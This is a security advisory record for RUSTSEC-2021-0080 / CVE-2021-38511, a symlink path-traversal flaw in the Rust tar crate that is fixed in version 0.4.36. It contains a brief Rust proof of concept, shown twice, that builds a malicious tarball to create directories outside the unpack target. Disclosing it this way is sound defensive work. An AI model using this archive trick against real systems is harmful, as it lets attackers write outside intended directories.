rustsec-2021-0080
Vulnerability from osv_rustsec
Published
2021-07-19 12:00
Modified
2023-06-13 13:10
Summary
Links in archive can create arbitrary directories
Details
When unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};
fn main() -> Result<()> {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
builder.finish()?;
};
Archive::new(&*buf).unpack("demo")
}
This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering
and reporting this, and Nikhil Benesch (@benesch) for the fix!
{
"affected": [
{
"database_specific": {
"categories": [],
"cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"informational": null
},
"ecosystem_specific": {
"affected_functions": null,
"affects": {
"arch": [],
"functions": [
"tar::Archive::unpack"
],
"os": []
}
},
"package": {
"ecosystem": "crates.io",
"name": "tar",
"purl": "pkg:cargo/tar"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-0"
},
{
"fixed": "0.4.36"
}
],
"type": "SEMVER"
}
],
"versions": []
}
],
"aliases": [
"CVE-2021-38511",
"GHSA-62jx-8vmh-4mcw"
],
"database_specific": {
"license": "CC0-1.0"
},
"details": "When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it\u0027s supposed to unpack into.\n\nThe function errors when it\u0027s trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -\u003e Result\u003c()\u003e {\n let mut buf = Vec::new();\n\n {\n let mut builder = Builder::new(\u0026mut buf);\n\n // symlink: parent -\u003e ..\n let mut header = Header::new_gnu();\n header.set_path(\"symlink\")?;\n header.set_link_name(\"..\")?;\n header.set_entry_type(EntryType::Symlink);\n header.set_size(0);\n header.set_cksum();\n builder.append(\u0026header, io::empty())?;\n\n // file: symlink/exploit/foo/bar\n let mut header = Header::new_gnu();\n header.set_path(\"symlink/exploit/foo/bar\")?;\n header.set_size(0);\n header.set_cksum();\n builder.append(\u0026header, io::empty())?;\n\n builder.finish()?;\n };\n\n Archive::new(\u0026*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering\nand reporting this, and Nikhil Benesch (@benesch) for the fix!",
"id": "RUSTSEC-2021-0080",
"modified": "2023-06-13T13:10:24Z",
"published": "2021-07-19T12:00:00Z",
"references": [
{
"type": "PACKAGE",
"url": "https://crates.io/crates/tar"
},
{
"type": "ADVISORY",
"url": "https://rustsec.org/advisories/RUSTSEC-2021-0080.html"
},
{
"type": "REPORT",
"url": "https://github.com/alexcrichton/tar-rs/issues/238"
}
],
"related": [],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Links in archive can create arbitrary directories"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…